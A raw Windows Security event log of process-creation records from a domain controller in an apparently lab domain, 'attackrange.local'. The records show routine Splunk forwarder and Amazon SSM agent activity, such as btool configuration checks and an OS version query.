-LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253720 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xfa4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253719 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xfa4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253730 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf00 - New Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x9a0 - Creator Process Name: C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe - Process Command Line: "C:\Program Files\Amazon\SSM\ssm-agent-worker.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253729 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf14 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd44 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253728 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xecc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253727 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xecc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xfa4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253726 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xfa4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253725 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd0c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe90 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253724 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xfa4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253742 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253741 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd0c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253740 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe38 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253739 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253738 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'" "| Select-Object" "ProductName, BuildLabEx, CurrentMajorVersionNumber, CurrentMinorVersionNumber" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253737 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xfe4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253736 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253735 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Windows\System32\wbem\WMIC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: wmic OS get Version /format:list - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253734 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf48 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf00 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253733 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf5c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf04 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253732 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xef4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 